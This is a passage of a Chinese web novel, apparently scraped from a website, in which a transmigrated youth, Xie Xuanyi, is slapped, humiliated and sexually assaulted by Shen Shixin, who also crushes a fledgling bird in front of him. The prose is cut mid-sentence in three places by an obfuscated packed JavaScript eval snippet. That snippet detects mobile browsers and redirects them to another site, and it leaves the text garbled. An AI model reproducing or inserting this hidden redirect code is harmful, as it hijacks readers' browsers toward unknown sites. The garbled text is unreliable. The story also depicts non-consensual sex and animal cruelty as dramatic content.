“下午的课业也不必学习了,去叫你的伴读或是下人来,将桌案搬到后院去,将前日所学的篇目抄写十遍。” 见谢璇衣僵在原地不动,有学生大着胆子揣测夫子的心思,随即小声又不耐地催促:“快去啊,愣着干什么,看不出夫子很生气吗?” 夫子瞪了那人一眼,却没有制止。 很快,更多人加入这场催促。 谢璇衣的目光下意识落在沈适忻面上,只看到了对方挑了挑眉,转过头去不再看他。 裹挟在几乎要升格成威胁的话语里,谢璇衣吃力地搬起小桌与坐席,跌跌撞撞往外走。 他没有下人,更没有伴读。 刚穿过来没两天,两个小厮便偷了卖身契,逃出府上。 但这都是他的默许。 有两个人给他搭把手,谁会不乐意呢,但是他们竟然对院里的小姑娘动手动脚。 要不是那夜谢璇衣不适应生活,半夜睡不着到院子里看月亮,恐怕都发现不了。 亲自授意送走二位后,他很多事都亲历亲为,却不后悔。 虽然一日比一日冷,午后的太阳却温度不减,他坐在房檐下都能感受得到。 他刚换上昨夜姑采送来的新衣,崭新、温暖,此刻却有些闷热了。 夫子要求他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099282|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抄写的篇目早上刚刚背过,此刻尚且谙熟于心,抄写起来还算得心应手。 最后一字落笔,他看了看日头,满意地放下笔。比他预想的时间还早了些,甚至同窗们还没下课。 等到谢璇衣想起活动躯体,起身时才后知后觉腰酸背痛、头晕目眩,他身形不稳直接摔倒在地。 好在是草皮,泥土松软,只是着地的几处擦红了,有些破皮而已。 只是猛然与自然来了个亲密接触,谢璇衣的注意力却悄然跑偏,落在远处灌木茂密的枝叶里。 那里……好像有什么东西。 和系统快速兑换了一包廉价的白糖,等低血糖的症状慢慢消减,他走到灌木前,扒开树叶。 虬结的枝干里,有一只鸟,窝巢也在附近,却已经摔得不成样子了。鸟似乎还是小雏鸟,羽毛很柔软,也很稀疏,甚至还是和植物接近的土棕色,灰不溜秋的。 小雏鸟被他轻轻拢在手掌里,不叫也不挣扎。 谢璇衣苦恼了一阵,对它摔得稀巴烂的家束手无策。 “喂,你在看什么呢,我也要看看!” 背后欢快的声音带着笑,脚步踢踢踏踏,似乎是连蹦带跳地跑过来的,若不是明显的女声与声声脆响的发饰珠串,谢璇衣都不敢确认。 他还来不及起身,小姑娘凑过来扫了一眼,顿时眼前发亮。 “诶,小鸟,是你捡到的吗?” 谢璇衣点了点头,主动后退,与小姑娘拉开距离。一见他这副模样,那女孩眼珠子一转,噗呲乐了。 “我知道了,你也是被夫子骂了轰出来的吧,我认得你,你是谢润的儿子谢璇衣。” 谢璇衣头次听人直呼谢父大名,愣了一下。 在这之前,即使是一向看不上他的沈适忻,也不曾如此大胆过。 想到对方现在不到十五岁,谢璇衣在心里默念几遍“童言无忌”,轻轻笑道,“宋小姐真如人所言那般天真烂漫。” 宋盈礼扎了很可爱的发髻,双手抱怀,红裙子织了金边,闪闪发亮,听他公事公办的语气,又乐了,“我就当你在夸我吧。” 寒暄客套都说过,宋盈礼比谢璇衣刚反应过来,想起谢璇衣手里可怜的鸟。 她也不顾脏,徒手把鸟窝从树杈中捞出来,蹙眉左右推推挤挤,“ 应该还能救,只是需要加固一下。” 仿佛知道谢璇衣要问什么,她抬头看了一眼檐廊下谢璇衣的座位,随即毫不客气地揽衣坐下。 谢璇衣远远看着,也不知小姑娘从哪学的技巧,鼓捣两下,竟然真的修得有模有样。 随后,宋盈礼把裙片分组,用装饰用的飘带系在腿上,露出外摆下朱磦色的灯笼长裤,就连裤腿也坠了一圈小珍珠,走起路来摇摇晃晃。 她以谢璇衣始料未及的身手,三两下抓着树枝爬上一人高的树杈,身形隐没在葱茏的叶丛里。 过了片刻,她从树叶间探出头,罕见地羞涩,“哦,我忘了,我只会爬,下不来。” 谢璇衣也有些默然。 接近两米的高度,跳下来很容易受伤,他的身手甚至还不如对方,如果贸然去拉只怕会害了自己。 “这样,我扶着往下退,快落地的时候你拽我一把,”宋盈礼腿勾着树枝,骑坐在树杈上,对着他作揖般晃了晃手,“求你了谢公子,看在一起救鸟的份上,拉我一下。” 谢璇衣很容易心软,所以当对方退下树,又不慎绊到脚、险些要倒栽葱时,他眼疾手快地提住了宋盈礼的双臂。 虚惊一场,他还来不及松口气,就听到身后一个有些气急败坏、甚至快扭曲的声音。 “你们在做什么。” 5. 第 5 章 声音不是大声吼出来的,谢璇衣却猛然心惊,骤然出了一后背冷汗。 这里是古代,他和一个陌生姑娘接触,本来就是不太合礼数的。 谢璇衣从来没见沈适忻发这么大脾气的时候。 一向潇洒恣意的少年——或许不能再称为少年,大步流星地走过来,一个巴掌甩在他侧脸上。 谢璇衣还来不及组织措辞,就被突如其来的变故伤到,眼前有些发晕。 前几日的伤还没好透,今天又挨了一下,面上火辣辣的痛觉似乎不只在肌肤,更像一把烧红的烙铁,要穿透血肉,烙在他的骨骼上。 沈适忻并没有对宋盈礼发难,只是眼神示意对方快走。 宋盈礼眼睁睁看着变故发生,脸上的笑僵了,一句“多谢”还没说出口,就见谢璇衣薄薄的胸口猛烈起伏。 她张了张口,眼圈却先红了,最终一句话也没说出来,不可置信地后退几步,捂着嘴跑走了。 谢璇衣保持着脸受力偏过去的动作,又被怒火中烧的男人捏着下颌,转了回来。 沈适忻比他高很多,离得近,想要对视,他必须抬起头才看得到对方的眼。 然而此时被迫抬起的下巴,恰好将鬓边凌乱的发丝与浮肿的红痕暴露在阳光下,晒得他眼前一阵阵发黑。 尊严和屈辱就像一碗带着腥气的苦药汤,浓缩在沈适忻乌沉沉的眸子里。 他很慢地眨了眨眼,后知后觉,腥气的来源是他的嘴里。 似乎是刚刚那一下咬破了口腔,浓郁的血腥气蔓延起来,他几欲呕吐。 “说话啊,你和那宋家小姐在做什么?” 捏在他下颌上的手逐渐收紧,尖锐的酸软逐步扩散,他一向垂着的眼里涌上痛苦。 对方松开手,他趁机解释道:“只是宋小姐顽皮,爬树困住,草民怕宋小姐玉体受损,这才情不自禁扶了一把。” 哪知道沈适忻对他的说辞轻蔑一笑,似乎听不进一个字。 “别以为我不知道你在想什么。” 他们站的位置恰好是连廊的死角,前院不时传来少年们天真的嬉笑声,却和此刻的谢璇衣无关。 他看着面前面容俊美的男人,心脏如坠冰窖,可对方的字字句句,却像尖锐的锥子在刺穿耳膜,鲜血淋漓却不得逃避。 “宋盈礼她爹官任吏部侍郎,你若是勾搭上她,恐怕你爹的位置能往上再坐坐。” 沈适忻懒散地靠在朱红色立柱上,似乎已经从刚才的暴怒中缓过来,眼神却比平时更加冷漠。 “看不出来啊,谢璇衣,你不要脸面的能耐已经到这种地步了。” 谢璇衣听着他不加掩饰的揣测,缓慢地长长吸了口气,连指尖都在不断颤抖。 谁知道沈适忻话锋一转,又勾起唇角,“我猜猜,你爹还让你做什么,勾搭赵二?” 谢璇衣猛然抬起头,还是下意识否认,“我没有……” 他没有想这么做。 沈适忻眯起眼睛,仍然是一副“我都知道”的姿态,“没有?你今天那么努力引起他的注意,还说没有?谢璇衣,你可真能豁出去啊。” 没想到沈适忻会这么说,谢璇衣一时间被带偏了思绪。 意识到沈适忻所谓的引起注意,竟然是他在课上被夫子骂,一时间,谢璇衣连自嘲的力气都被抽空了。 他第一次有勇气抬起眼,定定地看着沈适忻,哀求似地问他:“你一直觉得我是这样的人,是吗?” 对方哼笑一声,毫不客气,“何必说觉得,谢璇衣,你一直就是这么一个低贱到骨子里的人。” “就算本公子看不上你,你也休想妄想攀上高枝,今日有宋盈礼,明日就会有李盈礼方盈礼,再让本公子瞧见你与人拉拉扯扯,本公子必叫人将你的腿打折。” 谢璇衣很少听过这么无礼又粗暴的话,身形晃了晃。心道是对方气昏了头,什么话都说得出来。 “沈适忻,你当真没有一点点……” 他当真没有一点点喜欢自己吗? 话还没有说完,就被来人打断,见状,两人动作皆是一顿。 一个短衣小衫、小厮模样的人跑过来,自知来错了时候,慌张地抹了把汗,气喘吁吁道:“公子,奴才奉命来接少爷回府上。” 沈适忻的不耐烦溢于言表,“又是母亲催?你回去和她说,本公子等下自会回去。” 小厮咽了咽口水,硬着头皮开口:“不……不是夫人,是老太太派奴才,请少爷到二爷府上,说是,是吃顿便饭。” 听到是祖母,沈适忻眉头舒展了些,对谢璇衣道:“今日看在祖母的份上,本公子不与你计较,如若再犯,本公子说到做到。” 似乎是感受到沈适忻周身环绕的低压,小厮一路上都像个鹌鹑似的瑟缩着,大气都不敢喘,看得沈适忻无端冒火。 他又想起谢璇衣,对方在见到自己时,也像个鹌鹑一般胆小,却比这下人赏心悦目得多。 马车修得高大,连上车都要踩着板凳,车内垂着朱紫色的垂幔,元宝纹光泽细腻,虽然低调,却一眼看得出品质非凡。 街上来往行人如织,见到这般排场,还是难免猜测是哪家的贵人,是怎样的美人才配得上如此锦绣。 沈适忻也垂着眼看着紫色的绸缎。 谢璇衣皮肤白,平时淡绿色穿得多,总显得一身病气,无端叫人生厌,要是穿这样的料子,想来也会很好看。 意识到自己想到了谁,沈适忻忽然嘲弄地笑了笑。 他和下人有什么区别,自己怎会突然臆想,他也配穿这样的料子? 小厮余光看着主子一会皱眉一会笑,心里更慌张了,只能闭起眼睛祈祷保住项上人头,活不了也至少要留个全尸。 一主一仆,心思各异,南辕北辙。 进了府,沈老太太见到沈适忻,立即眉开眼笑,招呼对方坐下。 沈适忻难得柔和不少,乖顺地坐在老太太身边,笑道:“祖母不是在老宅调养,怎么这么早就回来?” 沈老太太闺名玉珠,嫁来沈家前,也是卫家的嫡出小姐。卫家是将门世家,代代儿郎中不乏铁衣壮士,军中翘楚,就连诸多小姐也自小习武,身手过人,创下赫赫功名。只是后代人丁凋零,卫玉珠的两个哥哥接连战死,只留下她与一位弟弟,如今卫家依然鲜有子嗣。 老太太思念娘家亲人,近几年常住卫府修养,沈家也无人敢置喙。 “这不是想乖孙儿了,”沈老太太看着自家孙子,笑得连眼都弯起来,眼角皱纹深邃,却不败美人面容,“忻儿啊,近来过得可还好?学业没有耽搁吧?” 沈适忻顺着老太太的话,“孙儿岂敢,府里一切都好,今日秋考也不负先生与诸位长辈的教诲,得了甲等。” 听到孙子如此优秀,老太太的笑容愈发欣慰,抓着沈适忻的手,轻轻拍了拍对方的手背,“好好好,如此,祖母便放心了。” 话语至此,却忽然转了个弯。 “忻儿才智如此过人,想来很得姑娘们青眼。” 意识到卫玉珠想说什么,沈适忻的笑容淡了些,不动声色地抽回手,“祖母说笑了。” “什么说笑,忻儿莫要妄自菲薄,”卫玉珠闻言不满,拉过刚刚走进前厅的姑娘,坐在自己身侧,“忻儿觉得,这位吴家的小姐可还中意?” 沈适忻没说话,平静地看着老太太口中的吴小姐。 吴家小姐吴娴人如其名,端得是秀美端庄,却像是禁受不住对方的目光,羞红了脸,娇俏地往老太太身后躲。 沈老太太似乎很喜欢吴娴这副小女儿姿态,眼神中写满了满意,拉着对方的手腕,将小姑娘左看右看。 她手上翠绿的桌子撞在一起,叮当作响,听得沈适忻越发烦闷,却碍于长辈,不能直言。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099283|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈适忻象征性地抿了口茶水,“祖母,吴小姐似乎尚未及笄,孙儿已经二十有二,想来不大合适。” 他对小丫头没什么兴趣。 门外陆陆续续来人,是丫鬟小厮们来布菜。 看着红木桌上色泽诱人的菜品,沈适忻却觉得索然无味。 “这孩子,薄情得很,说这些话,”神老太太瞪了他一眼,到底还是疼孙子的,“吴家小姐倾慕你许久,岂是你一句不合适就算的,多和人家相处一番,若是真不合适再说。” 沈适忻握着白玉筷子,夹了两口清蒸鳜鱼,看向吴娴。吴娴似乎感受到了他的冷淡,暗暗红着眼睛擦泪,姿态楚楚可怜。 他忽然有些吃不下饭,一股莫名的脾气萦绕在心头难消。 “那便凭祖母安排,孙儿还有课业,便斗胆先不奉陪了。” 他起身拱了拱手,也不等老太太开口,自顾自往外走。 走出门外,吹了夜风,沈适忻忽然生出后悔。 他并不是漠视亲情、不通礼数的人,相反,沈家很注意培养子孙的礼节,他平素做得也不算差,为何今日如此莽撞,甚至顶撞一向疼爱自己的祖母。 沈适忻深深吸了口气。 - “沈少爷,要我说啊,你还是眼界太高了。” 玉香楼里,萧家少爷端着酒杯一杯接一杯,喝得面色酡红。 沈适忻有些后悔来这里找友人。 他还从未来过这种地方。 冷眼吓跑了几个衣着清凉的姑娘,沈适忻冒着一身冻人的寒气坐在萧隽身边,引得对方不快,开始数落起他的问题来。 萧隽怜香惜玉地搂着粉衣美人的细腰,一杯一杯地豪饮,十成十的纨绔姿态。 “连吴家的小姐你都看不上,你沈少爷究竟还看得上什么样的女人?” 说到这里,萧隽的醉鬼逻辑竟然还自圆其说了,他嘟嘟囔囔,捧着粉衣美人的脸亲了一口,嘿嘿笑道:“也是,人家连第一美人都瞧不上,哪懂得怜香惜玉,还是小爷来疼你……” 沈适忻看着对方花天酒地,倒是出淤泥而不染,只是也自顾自地倒酒喝酒。 哪知道萧隽喝多了酒,不知道抽什么风,突然一脸邪笑地看向沈适忻,“欸,沈少爷既然不喜欢吴家小姐,也不喜欢花娘,莫非是对女人没兴趣,喜欢男人。” 说到这里,他越发笃定,招手叫来两个清秀小倌,一通挤眉弄眼,“好好服侍沈少爷。” 也不知玉香楼选人是什么标准,那两个小倌长相不同,姿态竟然都端得稚嫩秀美,虽然骨架子比姑娘大了些,却还是保留着可人的媚态。 沈适忻见两人当真红着脸凑过来,骤然黑了脸,一脚萧隽喝酒的小案,琉璃碗中的葡萄洒出来,骨碌碌滚了一地。 那两个小倌花容失色,白着脸连忙后退几步,萧隽也清醒不少,急忙道:“适忻,你别生气啊,早知你不喜欢,不叫了还不是吗?” 对方却听不进他的话,披上外袍快步离去。 下人守在门外,见沈适忻大步流星走出去,急忙去追,却不及对方速度,很快被甩在后面。 - 夜已经深了,谢璇衣刚给几个小丫头讲完《论语》,几人疑惑尚存,却个个透着兴奋。 阿简眼睛亮亮的,毫不吝啬夸赞,“公子,您懂的真多!” 他被这样炽热的眼光看着,颇不自在,挥挥手,“今日太晚了,明晚给你们讲讲其它的章节可好?” 小丫头们笑着散了,谢璇衣面上的笑也渐渐淡下去,褪去外袍,吹灭了蜡烛。 烛芯尚存一丝鲜艳的光点,慢慢消失在夜幕中,空气里多了一丝奇异的香气。 阴影中,忽然传来一道阴沉沉的声音。 “谢璇衣,夫子说的没错。” “旁人说过的话,你是记不得,还是故意不去记。” 6. 第 6 章 沈适忻也不知道,自己为什么会走到谢府门口。 只是看着那两个小倌的脸,他就难以遏制地心生烦躁。 现在看到满脸惊惧的谢璇衣,他忽然有种怒极反笑的情绪。 他并不是一个多洁身自好的人,更没有所谓的感情洁癖。 他大可以纵情一夜,不过是每个帝京里的纨绔常做的事,但他下不去手。 因为两个小倌,都有些像谢璇衣。 那个他轻蔑着、厌烦着的狗皮膏药,一点好处便能收买、听不出真假话的蠢货。 当他站在谢璇衣院门前的时候,他才意识到这种怪异而可笑的情绪。 谢璇衣刚刚脱下外衫,穿着薄薄的里衣,就被不知道从哪冒出来的沈适忻拖拽出了院子。 他的手腕被粗暴地拉扯着,用的力气并不小,他跌跌撞撞被扯着,胡乱地想,恐怕明天又要留伤痕,又要浪费积分。 谢家不算有钱,但府邸规制并不简陋,从谢璇衣院子出来,一路上闹出的动静不小。 不少下人惺忪着睡眼出来,却被眼前的一幕惊得呆立在原地,险些掉了手上的灯笼。 不知道谁喊了一句,快去请老爷,人群这才骤然清醒,顿时四散。 然而沈适忻喝多了酒,越发暴露没耐心的本性,几乎是不管不顾冲出谢家,听不到谢璇衣吃痛的轻声,自然也不在乎对方膝盖撞在门槛上的青紫伤痕。 来接沈适忻的下人紧赶慢赶,将马车停在谢家门口。 夜里鲜有人出门,宽阔的街道上只剩下呼啸的寒风。 马车的速度也极快,仿佛怕跑慢了马,就要被这位阴晴不定的主子责骂。 谢璇衣并不明白对方要做什么,只是闻到对方身上浓浓的酒气。 “沈公子,你喝酒了,现下意识并不清醒,”谢璇衣没敢抬头看他,低声道,“停车放我回府吧,权当什么都没发生过。” “没发生过?本公子清醒得很,自然知道自己在做什么。” 沈适忻冷笑一声,鞋尖挑起跪在马车里的人的下巴。 “谢璇衣,你究竟给那群死丫头下了什么迷魂药,怎么一个两个都那么喜欢你。” 谢璇衣一向很有耐心,此刻只当对方在发酒疯,又心知不能跟醉鬼计较什么,无奈道:“一群小姑娘而已,她们只是爱听新鲜事物,见我从书院回来,求给她们胡乱讲讲罢了。” “你是胡乱讲讲,你那丫头们可未必这么想,”沈适忻一心是自己的揣测,对谢璇衣的解释不屑一顾,“她们那眼神,恨不得时刻挂在你身上吧。” 谢璇衣见对方油盐不进,叹了口气,不知道作何解释。 多说多错,倒不如一开始就不说了。 哪知他的态度在沈适忻眼里,已经演变为心虚。 不过一炷香有余的功夫,马车已经到了沈府。 谢璇衣又被拽着回到沈适忻房中,对方一甩手,便将他轻飘飘扔在床榻边的地上。 沈适忻一番动作,有些发汗,便将外袍丢在桌上,瞥见谢璇衣发白的脸色,笑容忽然变得很恶劣。 不知道他向小厮说了什么,很快便有人双手捧上一只木匣子。 匣子两侧各打了两个小孔,不知是做什么用。 谢璇衣猜不到他的行事,却无端心脏一颤。 面对难以揣测的危机,他下意识往后挪了几寸,后背却撞上雕花繁复的床架子,再也退缩不得。 沈适忻习惯夜里关窗子,今日却因风大,硬生生将关紧的木窗破开一条小缝,呜呜地吹着,莫名可怖。 他背着月光站在谢璇衣面前。 谢璇衣似有所感,惶惶然抬起头,却见到对方慢慢蹲下身。 他蹲着依然比自己高上好些,此刻紧紧挡住了所有泄露的亮光,只留下一片令人生畏的阴影。 冷色,像对方今日的衣裳。 沈适忻打开那只盒子,将盒子里的小物件抓了出来。 它太小了,小到用如此庞大的匣子装,竟然莫名有些可笑。 但是谢璇衣笑不出来。 沈适忻的手,用一种把玩的姿态,扣着那只一面之缘的小雏鸟。 从学堂回来的路上,谢璇衣曾央求系统帮他查过那只鸟。 那是一只黄鸟,如果它能够长大,会是一只羽毛鲜艳、歌声清脆的禽鸟,它会远比他开心,比他自由,比他看得更高更远。 比他更知道,云层之上的天空,究竟蓝得多么澄澈。 几乎是片刻,谢璇衣就猜到对方想干什么。 “你……沈适忻,你不能这么做!” 他的脸色一下子彻底白了,眼里的惊恐甚至胜过面对众人围剿讥笑时的情绪。 从拿出这只鸟开始,沈适忻一直在观察对方的状态。 得到想象中的效果,他脸上的笑愈发残忍,甚至因为这一刻的被取悦,原谅对方抓在自己手臂上的行为。 “本公子要怎么做?”他故作疑惑,反问道,“要毁掉你和宋盈礼那丫头的定情之物?” 谢璇衣不敢对对方用力,只能徒劳地抓着对方袖子上的层叠布料,倔强地摇着头,眼泪已经淌了下来,“你明明知道,你知道我没有这种意思。” 你明明知道我喜欢你。 满城风雨,他不信对方从未听闻。 无论从什么人的口中,无论是用哪种情态,嘲笑着或是怜悯着。 都该知道他是帝京最大的笑话了。 “本公子不知道,”他笑着,明明是令人如沐春风的表情,却像是亲手将谢璇衣推进了最冷的冰缝,“既然你都这么想了,那本公子便只好做个好人,成全你。” 他抓着那雏鸟的左手慢慢收紧。 谢璇衣听到小鸟尖锐的叫声,撕心裂肺,一声声像是锋利的剪子,将他的一切剪碎,直到破破烂烂,血肉模糊。 这种痛苦远远比他的伤难捱。 他的耳朵像是被一层磨砂玻璃遮住,只有尖锐的嗡嗡声,掩盖了他此后的愤怒、推搡,甚至去抢夺。 然而沈适忻比他高大,他又身上带着伤,全然无力抗衡。 不知道过了多久,也许是一炷香,也许是一个时辰,也许是一天,又像是时间停滞在这一时。 最后,有一片很小很小的绒毛从沈适忻手里飘落下来,落在谢璇衣花瓣一般凌乱铺开的衣摆上。 只是停在那儿,再也不动了。 像是在嘲弄,哪怕是夜风都不舍得多照拂这个刚刚落地的灵魂。 谢璇衣眼里还流着泪,像是忘了停一般。 他听到自己喑哑的嗓音:“沈适忻,我究竟有什么错。” 值得你一而再再而三的欺凌。 他听过枯木逢春、死灰复燃的故事,却第一次发现,春草作灰,只用一颗很小很小的火苗。 “你活着,就是错的,”沈适忻满手是血,却恶趣味地用那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099284|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只鲜血淋漓的左手掐着他的下颌,大拇指颇有兴致地将血滴晕开,直到浓烈的气息刺激得对方频频闭眼,“你这样的人,哪有脸去勾引旁人?我要是你,倒不如一刀捅死自己算了。” “你只是一条摇尾乞怜的蠢狗而已,站起来,就能变成人了?” “谢璇衣,你只能一辈子当我脚边匍匐的狗。” 沈适忻第一次那么细致地观察谢璇衣的眉眼。 他哭了太久,乌黑的发丝粘在面上,此刻连半阖着的眼皮都在轻轻抖动,青紫色的血管若隐若现,睫毛更是被泪珠聚成一簇一簇,比平时更惹眼,更可怜。眼泪冲淡了他眼角的血,眼底却仿佛比血更鲜艳。 他心里的某些想法忽然如烈火般叫嚣起来。 谢璇衣眼神快要涣散,猛然间感受到对方的动作,才回过神。 可是已经来不及了,无论他再怎样推阻,都拗不过沈适忻的力气。 对方已经扯开了他的衣襟,又抓着他的手臂提起来,摔在刚刚靠着的床榻上。 沈适忻抓住他手臂的一瞬间,还有些许犹疑。他太瘦了,仿佛自己再用些力气就能将骨头捏断。 可谢璇衣感觉不到他的犹豫。 眼前发白的一瞬间过后,他艰难地笑了笑,用气声道:“沈公子,你这么恨我,不如给个痛快,杀了我吧。” 听清楚谢璇衣说了什么,沈适忻飞快地按住对方脆弱的咽喉,方才的犹豫一干二净。 在谢璇衣眼里,他就像修罗地狱走出来的恶鬼。 “你也配痛快?” - 月上中天,风愈发大。一连吹了几个整日,现下云苔尽扫,天清气朗。 记忆抹去了他最痛苦的回忆,谢璇衣已经忘记自己刚刚被怎样粗暴的对待,如何被按在被褥间,以一种屈辱的姿态被迫承欢。 他的眼泪像是已经流干了,最恨的话也都说尽了,连心痛的权利也被剥夺,感知变得比眼下的泥泞还要破败。 他靠着床架的柱子,浑身都在发着抖,甚至不敢低下头,和一身的狼狈打个照面。 沈适忻已经从先前奇异的冲动里回过神,在茶几边倒了一盏冷掉的茶,仰头一饮而尽。 “沈适忻,”谢璇衣低低地叫他的名字,声音哑得不像样,他轻轻清了清嗓子,“你不是,要和吴家的小姐成亲了吗。” 他话是疑问,说出口却是陈述句。 沈适忻皱眉,刚想斥他胡言乱语,话到嘴边却忽然转了个弯。 “吴家小姐下月十六便要及笄了。” 他没有直接回答,但听在谢璇衣耳朵里,便成了无形的承认。 “那我呢,你这么对我,对得起吴家小姐吗。” 沈适忻没想到对方会这么说,一时皱了皱眉。 或许是刚刚的伺候让他非常舒心,他难得多给了谢璇衣一些好脸色。 “莫非你要昭告天下?”沈适忻目光转向他,“本公子自然不介意。” “至于你爹,他巴不得你主动投怀送抱吧,怎么敢多说一个不字。” 谢璇衣没有再说话,眼神在宽阔的房间里游离。 沈适忻的卧室装潢,比他的好了不知多少倍,说一句雕梁画栋、人间仙苑恐怕也不为过。 忽然,谢璇衣的目光停顿在一点。 沈适忻注意到,也看了过去,只听对方涩声询问。 “……沈公子,你为什么会有这样的戒指。” 7. 第 7 章 沈适忻一时没反应过来,下意识顺着谢璇衣的目光看过去。 他口中的戒指正静静躺在床边小柜上,隐藏在烛台下的阴影里,想来是许久未擦过,银质的素圈蒙尘,光泽暗淡。 其实在这个时代出现戒指并不奇怪,谢璇衣也见过谢父手上的扳指,但极少出现这样的窄素圈。 那是现代的审美和款式。 是……他亲自画给对方看的样式,他惦记了太久,怎么可能忘记。 谢璇衣到这个世界的第一年,几乎算得上他这辈子最开心的时间。 起码那时候,沈适忻对他还不算这么坏。 十七岁的沈适忻,只会在听说他没喝过酒时,惊讶地瞪大眼。 “区区酒而已,本公子带你喝最好的。” 谢璇衣记得自己有些退缩,看着他满不在乎的姿态,怯怯地拉他手臂劝他,“要不……还是改日吧。” 他知道沈适忻愿意入口的酒,自己一辈子都买不起。 那时沈适忻满不在乎,做足了纨绔姿态,不知怎么,当真弄来千金难买的桃花酿。 谢璇衣曾经听过这种酒的大名,听说它口感清冽温润,入口没有酒的辛辣,只有微甜的桃花香,产量也很低。 偏偏在谢璇衣想要接过、替他拿着时,对方又缩回了手,逗他玩一般笑道:“这酒珍贵,在这里胡乱喝了可不好。” 谢璇衣呆呆地看着他,并不知道对方话语的意思,直到他被带到了雁塔的塔顶。 那是除了西山之外,帝京的最高点。 在这之前,谢璇衣从来不知道,帝京尽收眼底的风光有这么美,繁茂的浓荫一团团一簇簇,模糊成深浅层叠的倩影,淡灰色的街道、棕褐的建筑都浓缩棋盘上的小格子,像是一桌积木。 头顶的繁星比哪一日都显眼,高高地坠着,大小不一,布置在向远方过渡成紫红的夜幕中。 也从不知道,夜风会比酒还醉,能吹昏两个人的头。 ——竟能害得两个人,末路般走向兰因絮果的今朝。 谢璇衣蜷缩在角落里,眼皮颤了颤,慢慢阖上双眼,环抱着双膝的手用力扣紧,留下鲜红的指痕。 脑中一片混沌,像是苍白,唯余一个念头尚且清晰。 沈适忻要成亲了,也许要用着他的戒指成亲了。 他甚至不敢多想,那位吴家小姐看到这样新鲜的款式,脸会有多红,笑会有多甜。 沈适忻没合拢的窗开着一条细细的缝,月亮西斜,恰巧漏进来光亮,像是蒙在轻纱里一样柔和。 那一条细长的光亮落在谢璇衣的手指间,本就苍白的皮肤更透明了。 左手中指上,刺目的烫伤旁,有一条均匀的浅色,边缘透着粉,并不引人注目。 像是……戒痕。 - “阿忻,你来看看,好看吗?” 繁茂的柳树还是深绿,偶然垂进一枝,轻轻打在外开的窗上,瘦长的影子在灰砖地板上轻轻晃。 头一次体会宿醉的滋味,第二日上学时,谢璇衣的头还有些痛。 他甚至怀疑自己酒还没醒,否则怎会问出这么傻的问题。 他想让沈适忻看的,是自己前几日的设计图,两只戒指。古代没有所谓的铅笔,他用碳条起的稿,又反复拓印好几遍,用最细最尖的笔锋勾勒出线条。 他没有专业学过美术,专业也和画画八竿子打不着,只是全凭着记忆在笨拙地做。 见多识广的沈适忻看了两眼,用一种复杂又不忍的语气安慰他,“好看,很少见的风格,有什么意义吗。” 他没有看到,同桌的谢璇衣脸一下就红了。 谢璇衣自然也不会猜到,对方只是尚存安慰自己的耐心。 他很小声回了一句:“只有有情人才会佩戴它,大抵是‘长久’吧。” 却不知道沈适忻听没听到。 后来他背着沈适忻,花了三个月攒钱,托银匠打了这两只怪异的首饰,又用锦盒盛着送到谢璇衣手上,期待他能在冬至日里笑一笑。 却只得到了对方冬至设宴,没有邀请自己的消息。 再后来的种种,他已经不愿意再回忆。他舍下脸面,灰扑扑地粘着沈适忻,像一块怎么都撕不下的狗皮膏药,又像是一条偶得垂怜就以为有了家的幼犬。 他怎么敢多想,他怎么配得到。 他舔了舔干涸的唇,眼神又短暂落在戒指上,扯出比哭还难看的笑,用又哑又轻的声音说:“大概是我看错了吧。” “你记得,想起来的时候,要擦擦它呀。” 银戒用布擦擦就会闪亮如初,戒痕却不会再长好,它永远是这样惨白地赤裸裸展露人前,诉说一段惨痛或是伤怀。 比烙印还刺骨,比陈冰还寒凉。 - 谢璇衣没敢让沈适忻再注意到自己,忍着浑身散架一般的痛,裹着单衣在院里的连廊上坐到天亮。 他的行迹把晨起浣衣的侍女吓了一跳。 侍女看起来比他年长些,梳着一丝不苟的发髻,却在见到他可怜兮兮的模样时动了恻隐之心,从偏门把他送了出去。 昨夜沈适忻弄出的动静大概不小,那侍女并没有多说什么,一副全然了解的样子,刺得他心口绞痛,像是刚从湖水里沥出来。 谢璇衣裹着侍女给的便服,一步步走回谢家。 不过相隔一天,谢璇衣的神情却全然不同,阿简找来时,眼睛红肿,眼白里布满了血丝,像是一整晚没合眼。 她用袖子遮着唇,轻轻咳了几声,拉开和谢璇衣的距离。 “阿春,快去给主子烧水,知柳,你去拿身衣服来。” 谢璇衣看出阿简的不对劲,一时间顾不得自己,严肃地走过去打量对方的面色。 “阿简,你是不是吹冷风了,怎么有些发热。” 阿简心虚,却还是推着谢璇衣,挑开话题,满口心疼,“主子,您就先别管阿简了,您先去歇息片刻吧。” 